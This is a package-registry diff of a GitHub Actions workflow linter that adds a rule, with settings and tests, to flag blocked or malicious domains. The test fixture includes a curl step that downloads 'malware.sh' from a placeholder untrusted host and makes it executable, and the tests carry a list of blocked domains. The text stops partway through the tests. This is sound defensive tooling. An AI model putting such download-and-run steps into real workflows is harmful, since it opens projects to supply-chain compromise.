bitwarden_workflow_linter 1.3.6__tar.gz → 1.4.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/PKG-INFO +1 -1
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/settings.yaml +6 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/__about__.py +1 -1
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/default_settings.yaml +6 -0
- bitwarden_workflow_linter-1.4.0/src/bitwarden_workflow_linter/rules/check_blocked_domains.py +180 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/utils.py +4 -0
- bitwarden_workflow_linter-1.4.0/tests/fixtures/test-blocked-domains.yml +34 -0
- bitwarden_workflow_linter-1.4.0/tests/rules/test_check_blocked_domains.py +316 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.editorconfig +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.gitattributes +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/CODEOWNERS +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/ISSUE_TEMPLATE/config.yml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/PULL_REQUEST_TEMPLATE.md +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/actionlint.yml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/copilot-instructions.md +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/renovate.json +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/workflows/_version_type.yml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/workflows/bwwl_operations.yml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/workflows/cd.yml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/workflows/ci.yml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/workflows/enforce-labels.yml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/workflows/examples/ci.yaml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/workflows/examples/example-references/_build.yml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/workflows/examples/example-references/_docker.yml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/workflows/examples/example-references/_test.yml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/workflows/examples/example-references/_version.yml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/workflows/examples/example.yaml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/workflows/examples/pull_request_target.yml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/workflows/examples/scan.yaml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.github/workflows/scan.yml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.gitignore +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.husky/pre-commit +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/.python-version +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/CONTRIBUTING.md +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/LICENSE.txt +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/Pipfile +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/Pipfile.lock +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/README.md +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/RULE_ROLLOUT.md +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/SECURITY.md +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/Taskfile.yml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/package-lock.json +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/package.json +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/pylintrc +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/pyproject.toml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/pyproject.toml.tpl +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/__init__.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/actionlint_version.yaml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/actions.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/cli.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/default_actions.json +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/lint.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/load.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/models/__init__.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/models/job.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/models/step.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/models/workflow.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/rule.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/rules/__init__.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/rules/check_pr_target.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/rules/job_environment_prefix.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/rules/name_capitalized.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/rules/name_exists.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/rules/permissions_exist.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/rules/pinned_job_runner.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/rules/run_actionlint.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/rules/step_approved.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/rules/step_pinned.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/src/bitwarden_workflow_linter/rules/underscore_outputs.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/__init__.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/conftest.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/fixtures/test-alt.yml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/fixtures/test-min-incorrect.yaml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/fixtures/test-min.yaml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/fixtures/test-outputs-incorrect.yml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/fixtures/test.yml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/fixtures/test_a.yaml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/fixtures/test_workflow.yaml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/fixtures/test_workflow_incorrect.yaml +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/rules/__init__.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/rules/test_check_pr_target.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/rules/test_job_environment_prefix.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/rules/test_name_capitalized.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/rules/test_name_exists.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/rules/test_permissions_exist.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/rules/test_pinned_job_runner.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/rules/test_run_actionlint.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/rules/test_step_approved.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/rules/test_step_pinned.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/rules/test_underscore_output.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/test_job.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/test_lint.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/test_load.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/test_rule.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/test_step.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/test_utils.py +0 -0
- {bitwarden_workflow_linter-1.3.6 → bitwarden_workflow_linter-1.4.0}/tests/test_workflow.py +0 -0
@@ -1,6 +1,6 @@
|
|
1
1
|
Metadata-Version: 2.4
|
2
2
|
Name: bitwarden_workflow_linter
|
3
|
-
Version: 1.
|
3
|
+
Version: 1.4.0
|
4
4
|
Summary: Custom GitHub Action Workflow Linter
|
5
5
|
Project-URL: Homepage, https://github.com/bitwarden/workflow-linter
|
6
6
|
Project-URL: Issues, https://github.com/bitwarden/workflow-linter/issues
|
@@ -19,6 +19,12 @@ enabled_rules:
|
|
19
19
|
level: error
|
20
20
|
- id: bitwarden_workflow_linter.rules.permissions_exist.RulePermissionsExist
|
21
21
|
level: error
|
22
|
+
- id: bitwarden_workflow_linter.rules.check_blocked_domains.RuleCheckBlockedDomains
|
23
|
+
level: warning
|
22
24
|
|
23
25
|
approved_actions_path: default_actions.json
|
24
26
|
default_branch: main
|
27
|
+
|
28
|
+
# List of domains that should trigger an error if found in workflows
|
29
|
+
blocked_domains:
|
30
|
+
- ghrc.io
|
@@ -19,6 +19,12 @@ enabled_rules:
|
|
19
19
|
level: error
|
20
20
|
- id: bitwarden_workflow_linter.rules.permissions_exist.RulePermissionsExist
|
21
21
|
level: error
|
22
|
+
- id: bitwarden_workflow_linter.rules.check_blocked_domains.RuleCheckBlockedDomains
|
23
|
+
level: warning
|
22
24
|
|
23
25
|
approved_actions_path: default_actions.json
|
24
26
|
default_branch: main
|
27
|
+
|
28
|
+
# List of domains that should trigger an error if found in workflows
|
29
|
+
blocked_domains:
|
30
|
+
- ghrc.io
|
@@ -0,0 +1,180 @@
|
|
1
|
+
"""A Rule to check for blocked/malicious domains in workflow content."""
|
2
|
+
|
3
|
+
import re
|
4
|
+
from typing import List, Optional, Tuple, Union
|
5
|
+
|
6
|
+
from ..models.job import Job
|
7
|
+
from ..models.step import Step
|
8
|
+
from ..models.workflow import Workflow
|
9
|
+
from ..rule import Rule
|
10
|
+
from ..utils import LintLevels, Settings
|
11
|
+
|
12
|
+
|
13
|
+
class RuleCheckBlockedDomains(Rule):
|
14
|
+
"""Rule to detect blocked or malicious domains in workflow content.
|
15
|
+
|
16
|
+
This rule scans workflow content (URLs, scripts, commands) for domains
|
17
|
+
that have been flagged as blocked or potentially malicious. It helps
|
18
|
+
prevent supply chain attacks and unauthorized external dependencies.
|
19
|
+
"""
|
20
|
+
|
21
|
+
def __init__(self, settings: Optional[Settings] = None, lint_level: Optional[LintLevels] = LintLevels.ERROR) -> None:
|
22
|
+
"""Constructor for RuleCheckBlockedDomains.
|
23
|
+
|
24
|
+
Args:
|
25
|
+
settings:
|
26
|
+
A Settings object that contains any default, overridden, or custom settings
|
27
|
+
required anywhere in the application.
|
28
|
+
lint_level:
|
29
|
+
The LintLevels enum value to determine the severity of the rule.
|
30
|
+
"""
|
31
|
+
self.on_fail = lint_level
|
32
|
+
self.compatibility = [Workflow, Job, Step]
|
33
|
+
self.settings = settings
|
34
|
+
|
35
|
+
# Get blocked domains from settings, use defaults if none provided
|
36
|
+
self.blocked_domains = settings.blocked_domains if settings else []
|
37
|
+
|
38
|
+
def extract_domains_from_text(self, text: str) -> List[str]:
|
39
|
+
"""Extract domain names from text content.
|
40
|
+
|
41
|
+
Args:
|
42
|
+
text: The text to scan for domains
|
43
|
+
|
44
|
+
Returns:
|
45
|
+
List of domain names found in the text
|
46
|
+
"""
|
47
|
+
if not text:
|
48
|
+
return []
|
49
|
+
|
50
|
+
# Pattern to match domain names in various contexts
|
51
|
+
# Breaking down the regex:
|
52
|
+
# (?:https?://)? - Optional protocol (http:// or https://)
|
53
|
+
# (?:www\.)? - Optional www. prefix
|
54
|
+
# ([a-zA-Z0-9] - Start of capturing group: first character (alphanumeric)
|
55
|
+
# (?:[a-zA-Z0-9-]{0,61} - Non-capturing group: 0-61 alphanumeric or hyphen chars
|
56
|
+
# [a-zA-Z0-9])? - End with alphanumeric (ensures no trailing hyphen)
|
57
|
+
# \.)+ - Followed by dot, repeated (for subdomains)
|
58
|
+
# [a-zA-Z]{2,} - Top-level domain (2+ letters)
|
59
|
+
# (?:/[^\s]*)? - Optional path (slash followed by non-whitespace chars)
|
60
|
+
domain_pattern = r'(?:https?://)?(?:www\.)?([a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}(?:/[^\s]*)?'
|
61
|
+
|
62
|
+
domains = set()
|
63
|
+
|
64
|
+
# Find all matches and extract the domain part
|
65
|
+
for match in re.finditer(domain_pattern, text, re.IGNORECASE):
|
66
|
+
full_match = match.group(0)
|
67
|
+
# Clean up the domain (remove protocol, www, path)
|
68
|
+
domain = re.sub(r'^https?://', '', full_match)
|
69
|
+
domain = re.sub(r'^www\.', '', domain)
|
70
|
+
domain = re.sub(r'/.*$', '', domain) # Remove path
|
71
|
+
domain = domain.lower().strip()
|
72
|
+
|
73
|
+
if domain and '.' in domain:
|
74
|
+
domains.add(domain)
|
75
|
+
|
76
|
+
return list(domains)
|
77
|
+
|
78
|
+
def check_blocked_domains(self, text: str) -> Tuple[bool, List[str]]:
|
79
|
+
"""Check if text contains any blocked domains.
|
80
|
+
|
81
|
+
Args:
|
82
|
+
text: The text to check for blocked domains
|
83
|
+
|
84
|
+
Returns:
|
85
|
+
Tuple of (is_clean, list_of_found_blocked_domains)
|
86
|
+
"""
|
87
|
+
if not text:
|
88
|
+
return True, []
|
89
|
+
|
90
|
+
domains = self.extract_domains_from_text(text)
|
91
|
+
blocked_found = []
|
92
|
+
|
93
|
+
for domain in domains:
|
94
|
+
for blocked_domain in self.blocked_domains:
|
95
|
+
blocked_domain_lc = blocked_domain.lower().strip()
|
96
|
+
domain_lc = domain.lower().strip()
|
97
|
+
# Check for exact match or subdomain match
|
98
|
+
if domain_lc == blocked_domain_lc or domain_lc.endswith('.' + blocked_domain_lc):
|
99
|
+
blocked_found.append(domain)
|
100
|
+
|
101
|
+
return len(blocked_found) == 0, blocked_found
|
102
|
+
|
103
|
+
def fn(self, obj: Union[Workflow, Job, Step]) -> Tuple[bool, str]:
|
104
|
+
"""Check the workflow object for blocked domains.
|
105
|
+
|
106
|
+
Args:
|
107
|
+
obj: The workflow object (Workflow, Job, or Step) to check
|
108
|
+
|
109
|
+
Returns:
|
110
|
+
Tuple of (success, error_message)
|
111
|
+
"""
|
112
|
+
blocked_domains_found = []
|
113
|
+
|
114
|
+
if isinstance(obj, Workflow):
|
115
|
+
# Check workflow-level content
|
116
|
+
if obj.name:
|
117
|
+
is_clean, domains = self.check_blocked_domains(obj.name)
|
118
|
+
if not is_clean:
|
119
|
+
blocked_domains_found.extend([(f"workflow name", domain) for domain in domains])
|
120
|
+
|
121
|
+
elif isinstance(obj, Job):
|
122
|
+
# Check job-level content
|
123
|
+
if obj.name:
|
124
|
+
is_clean, domains = self.check_blocked_domains(obj.name)
|
125
|
+
if not is_clean:
|
126
|
+
blocked_domains_found.extend([(f"job name", domain) for domain in domains])
|
127
|
+
|
128
|
+
if obj.uses:
|
129
|
+
is_clean, domains = self.check_blocked_domains(obj.uses)
|
130
|
+
if not is_clean:
|
131
|
+
blocked_domains_found.extend([(f"job uses", domain) for domain in domains])
|
132
|
+
|
133
|
+
# Check environment variables
|
134
|
+
if obj.env:
|
135
|
+
for key, value in obj.env.items():
|
136
|
+
if isinstance(value, str):
|
137
|
+
is_clean, domains = self.check_blocked_domains(value)
|
138
|
+
if not is_clean:
|
139
|
+
blocked_domains_found.extend([(f"job env '{key}'", domain) for domain in domains])
|
140
|
+
|
141
|
+
elif isinstance(obj, Step):
|
142
|
+
# Check step-level content
|
143
|
+
if obj.name:
|
144
|
+
is_clean, domains = self.check_blocked_domains(obj.name)
|
145
|
+
if not is_clean:
|
146
|
+
blocked_domains_found.extend([(f"step name", domain) for domain in domains])
|
147
|
+
|
148
|
+
if obj.uses:
|
149
|
+
is_clean, domains = self.check_blocked_domains(obj.uses)
|
150
|
+
if not is_clean:
|
151
|
+
blocked_domains_found.extend([(f"step uses", domain) for domain in domains])
|
152
|
+
|
153
|
+
if obj.run:
|
154
|
+
is_clean, domains = self.check_blocked_domains(obj.run)
|
155
|
+
if not is_clean:
|
156
|
+
blocked_domains_found.extend([(f"step run command", domain) for domain in domains])
|
157
|
+
|
158
|
+
# Check environment variables
|
159
|
+
if obj.env:
|
160
|
+
for key, value in obj.env.items():
|
161
|
+
if isinstance(value, str):
|
162
|
+
is_clean, domains = self.check_blocked_domains(value)
|
163
|
+
if not is_clean:
|
164
|
+
blocked_domains_found.extend([(f"step env '{key}'", domain) for domain in domains])
|
165
|
+
|
166
|
+
# Check step with parameters
|
167
|
+
if obj.uses_with:
|
168
|
+
for key, value in obj.uses_with.items():
|
169
|
+
if isinstance(value, str):
|
170
|
+
is_clean, domains = self.check_blocked_domains(value)
|
171
|
+
if not is_clean:
|
172
|
+
blocked_domains_found.extend([(f"step with '{key}'", domain) for domain in domains])
|
173
|
+
|
174
|
+
if blocked_domains_found:
|
175
|
+
error_details = []
|
176
|
+
for location, domain in blocked_domains_found:
|
177
|
+
error_details.append(f"Found blocked domain '{domain}' in {location}")
|
178
|
+
return False, "; ".join(error_details)
|
179
|
+
|
180
|
+
return True, ""
|
@@ -114,6 +114,7 @@ class Settings:
|
|
114
114
|
approved_actions: dict[str, Action]
|
115
115
|
actionlint_version: str
|
116
116
|
default_branch: Optional[str]
|
117
|
+
blocked_domains: Optional[list[str]]
|
117
118
|
|
118
119
|
def __init__(
|
119
120
|
self,
|
@@ -121,6 +122,7 @@ class Settings:
|
|
121
122
|
approved_actions: Optional[dict[str, dict[str, str]]] = None,
|
122
123
|
actionlint_version: Optional[str] = None,
|
123
124
|
default_branch: Optional[str] = None,
|
125
|
+
blocked_domains: Optional[list[str]] = None,
|
124
126
|
) -> None:
|
125
127
|
"""Settings object that can be overridden in settings.py.
|
126
128
|
|
@@ -147,6 +149,7 @@ class Settings:
|
|
147
149
|
name: Action(**action) for name, action in approved_actions.items()
|
148
150
|
}
|
149
151
|
self.default_branch = default_branch
|
152
|
+
self.blocked_domains = blocked_domains or []
|
150
153
|
|
151
154
|
@staticmethod
|
152
155
|
def factory() -> SettingsFromFactory:
|
@@ -201,4 +204,5 @@ class Settings:
|
|
201
204
|
approved_actions=settings["approved_actions"],
|
202
205
|
actionlint_version=actionlint_version,
|
203
206
|
default_branch=default_branch,
|
207
|
+
blocked_domains=settings.get("blocked_domains", []),
|
204
208
|
)
|
@@ -0,0 +1,34 @@
|
|
1
|
+
name: Test Blocked Domains
|
2
|
+
on:
|
3
|
+
push:
|
4
|
+
pull_request:
|
5
|
+
|
6
|
+
jobs:
|
7
|
+
clean-job:
|
8
|
+
name: Clean Job
|
9
|
+
runs-on: ubuntu-latest
|
10
|
+
steps:
|
11
|
+
- name: Checkout
|
12
|
+
uses: actions/checkout@v4
|
13
|
+
|
14
|
+
- name: Run safe command
|
15
|
+
run: echo "This is safe"
|
16
|
+
|
17
|
+
job-with-blocked-domain:
|
18
|
+
name: Job with malicious-example.com reference
|
19
|
+
runs-on: ubuntu-latest
|
20
|
+
env:
|
21
|
+
DOWNLOAD_URL: https://suspicious-domain.org/config.json
|
22
|
+
steps:
|
23
|
+
- name: Download from blocked domain
|
24
|
+
run: |
|
25
|
+
curl -o script.sh https://untrusted-repo.net/malware.sh
|
26
|
+
chmod +x script.sh
|
27
|
+
|
28
|
+
- name: Use blocked action
|
29
|
+
uses: bad-actor.io/malicious-action@v1
|
30
|
+
with:
|
31
|
+
config_url: https://malicious-example.com/config
|
32
|
+
backup_server: untrusted-repo.net/backup
|
33
|
+
env:
|
34
|
+
API_ENDPOINT: https://suspicious-domain.org/api
|
@@ -0,0 +1,316 @@
|
|
1
|
+
"""Test src/bitwarden_workflow_linter/rules/check_blocked_domains.py."""
|
2
|
+
|
3
|
+
import pytest
|
4
|
+
from ruamel.yaml import YAML
|
5
|
+
|
6
|
+
from src.bitwarden_workflow_linter.load import WorkflowBuilder
|
7
|
+
from src.bitwarden_workflow_linter.models.job import Job
|
8
|
+
from src.bitwarden_workflow_linter.models.step import Step
|
9
|
+
from src.bitwarden_workflow_linter.models.workflow import Workflow
|
10
|
+
from src.bitwarden_workflow_linter.rules.check_blocked_domains import RuleCheckBlockedDomains
|
11
|
+
from src.bitwarden_workflow_linter.utils import Settings, LintLevels
|
12
|
+
|
13
|
+
yaml = YAML()
|
14
|
+
|
15
|
+
|
16
|
+
@pytest.fixture(name="settings")
|
17
|
+
def fixture_settings():
|
18
|
+
return Settings(
|
19
|
+
blocked_domains=[
|
20
|
+
'malicious-example.com',
|
21
|
+
'suspicious-domain.org',
|
22
|
+
'untrusted-repo.net',
|
23
|
+
'bad-actor.io'
|
24
|
+
]
|
25
|
+
)
|
26
|
+
|
27
|
+
|
28
|
+
@pytest.fixture(name="rule")
|
29
|
+
def fixture_rule(settings):
|
30
|
+
return RuleCheckBlockedDomains(settings=settings)
|
31
|
+
|
32
|
+
|
33
|
+
class TestRuleCheckBlockedDomains:
|
34
|
+
"""Test the RuleCheckBlockedDomains rule."""
|
35
|
+
|
36
|
+
def test_extract_domains_from_text(self, rule):
|
37
|
+
"""Test domain extraction from various text formats."""
|
38
|
+
test_cases = [
|
39
|
+
("https://example.com/path", ["example.com"]),
|
40
|
+
("http://www.test.org", ["test.org"]),
|
41
|
+
("Visit malicious-example.com for info", ["malicious-example.com"]),
|
42
|
+
("Download from https://suspicious-domain.org/file.zip", ["suspicious-domain.org"]),
|
43
|
+
("No domains here", []),
|
44
|
+
("", []),
|
45
|
+
("Multiple: example.com and test.org", ["example.com", "test.org"]),
|
46
|
+
]
|
47
|
+
|
48
|
+
for text, expected in test_cases:
|
49
|
+
domains = rule.extract_domains_from_text(text)
|
50
|
+
# Sort both lists for comparison since order doesn't matter
|
51
|
+
assert sorted(domains) == sorted(expected), f"Failed for text: '{text}'"
|
52
|
+
|
53
|
+
def test_check_blocked_domains_clean_text(self, rule):
|
54
|
+
"""Test checking text with no blocked domains."""
|
55
|
+
clean_texts = [
|
56
|
+
"https://github.com/bitwarden/workflow-linter",
|
57
|
+
"Download from npm registry",
|
58
|
+
"Visit our documentation at docs.bitwarden.com",
|
59
|
+
""
|
60
|
+
]
|
61
|
+
|
62
|
+
for text in clean_texts:
|
63
|
+
is_clean, blocked = rule.check_blocked_domains(text)
|
64
|
+
assert is_clean, f"Text should be clean: '{text}'"
|
65
|
+
assert len(blocked) == 0
|
66
|
+
|
67
|
+
def test_check_blocked_domains_with_blocked(self, rule):
|
68
|
+
"""Test checking text with blocked domains."""
|
69
|
+
blocked_texts = [
|
70
|
+
("https://malicious-example.com/download", ["malicious-example.com"]),
|
71
|
+
("Visit suspicious-domain.org", ["suspicious-domain.org"]),
|
72
|
+
("curl https://untrusted-repo.net/script.sh", ["untrusted-repo.net"]),
|
73
|
+
("Multiple: malicious-example.com and suspicious-domain.org",
|
74
|
+
["malicious-example.com", "suspicious-domain.org"])
|
75
|
+
]
|
76
|
+
|
77
|
+
for text, expected_domains in blocked_texts:
|
78
|
+
is_clean, blocked = rule.check_blocked_domains(text)
|
79
|
+
assert not is_clean, f"Text should not be clean: '{text}'"
|
80
|
+
assert len(blocked) > 0
|
81
|
+
# Check that all expected domains are found
|
82
|
+
for domain in expected_domains:
|
83
|
+
assert domain in blocked, f"Expected domain '{domain}' not found in {blocked}"
|
84
|
+
|
85
|
+
def test_workflow_level_check_clean(self, rule):
|
86
|
+
"""Test workflow-level checking with clean content."""
|
87
|
+
workflow_yaml = """
|
88
|
+
name: Clean Workflow
|
89
|
+
on:
|
90
|
+
push:
|
91
|
+
jobs:
|
92
|
+
test:
|
93
|
+
runs-on: ubuntu-latest
|
94
|
+
steps:
|
95
|
+
- name: Checkout
|
96
|
+
uses: actions/checkout@v4
|
97
|
+
"""
|
98
|
+
|
99
|
+
workflow_data = yaml.load(workflow_yaml)
|
100
|
+
workflow = Workflow.init("", "test.yml", workflow_data)
|
101
|
+
|
102
|
+
success, message = rule.fn(workflow)
|
103
|
+
assert success, f"Workflow should pass: {message}"
|
104
|
+
|
105
|
+
def test_workflow_level_check_blocked(self, rule):
|
106
|
+
"""Test workflow-level checking with blocked domain."""
|
107
|
+
workflow_yaml = """
|
108
|
+
name: Download from malicious-example.com
|
109
|
+
on:
|
110
|
+
push:
|
111
|
+
jobs:
|
112
|
+
test:
|
113
|
+
runs-on: ubuntu-latest
|
114
|
+
steps:
|
115
|
+
- name: Test
|
116
|
+
run: echo "test"
|
117
|
+
"""
|
118
|
+
|
119
|
+
workflow_data = yaml.load(workflow_yaml)
|
120
|
+
workflow = Workflow.init("", "test.yml", workflow_data)
|
121
|
+
|
122
|
+
success, message = rule.fn(workflow)
|
123
|
+
assert not success, "Workflow should fail due to blocked domain"
|
124
|
+
assert "malicious-example.com" in message
|
125
|
+
assert "workflow name" in message
|
126
|
+
|
127
|
+
def test_job_level_check_clean(self, rule):
|
128
|
+
"""Test job-level checking with clean content."""
|
129
|
+
job_data = yaml.load("""
|
130
|
+
name: Clean Job
|
131
|
+
runs-on: ubuntu-latest
|
132
|
+
env:
|
133
|
+
API_URL: https://api.github.com
|
134
|
+
steps:
|
135
|
+
- name: Test
|
136
|
+
run: echo "test"
|
137
|
+
""")
|
138
|
+
|
139
|
+
job = Job.init("test-job", job_data)
|
140
|
+
|
141
|
+
success, message = rule.fn(job)
|
142
|
+
assert success, f"Job should pass: {message}"
|
143
|
+
|
144
|
+
def test_job_level_check_blocked_in_name(self, rule):
|
145
|
+
"""Test job-level checking with blocked domain in name."""
|
146
|
+
